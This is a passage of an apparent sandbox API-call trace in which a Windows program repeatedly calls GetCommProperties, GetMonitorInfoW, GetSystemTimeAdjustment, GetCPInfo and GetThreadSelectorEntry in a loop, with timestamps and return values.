lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.712] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.712] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.712] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.712] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.712] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.712] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.712] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.712] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.712] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.712] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.712] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.712] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.712] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.712] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.712] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.712] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.712] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.712] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.712] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.712] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.712] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.712] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.713] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.713] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.713] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.713] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.713] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.713] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.713] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.713] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.713] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.713] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.713] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.713] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.713] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.713] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.713] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.713] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.713] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.713] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.713] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.713] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.713] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.713] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.713] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.713] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.714] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.714] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.714] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.714] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.714] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.714] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.714] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.714] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.714] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.714] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.714] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.714] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.714] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.714] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.714] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.714] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.714] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.714] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.714] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.714] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.714] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.714] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.714] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.714] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.714] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.715] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.715] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.715] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.715] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.715] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.715] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.715] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.715] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.715] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.715] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.715] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.715] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.715] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.715] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.715] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.715] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.715] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.715] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.715] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.715] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.715] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.715] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.715] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.715] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.715] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.715] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.716] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.716] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.716] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.716] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.716] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.716] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.716] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.716] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.716] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.716] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.716] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.716] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.716] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.716] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.716] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.716] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.716] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.716] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.716] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.716] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.716] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.716] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.716] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.716] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.717] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.717] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.717] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.717] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.717] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.717] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.717] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.717] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.717] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.717] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.717] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.717] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.717] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.717] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.717] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.717] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.717] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.717] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.717] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.717] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.717] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.717] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.717] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.717] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.718] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.718] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.718] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.718] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.718] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.718] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.718] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.718] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.718] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.718] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.718] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.718] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.718] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.718] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.718] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.718] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.718] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.718] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.718] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.718] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.718] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.718] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.718] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.718] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.719] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.719] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.719] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.719] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.719] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.719] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.719] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.719] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.719] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.719] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.719] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.719] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.719] GetSystemTimeAdjustment (in: 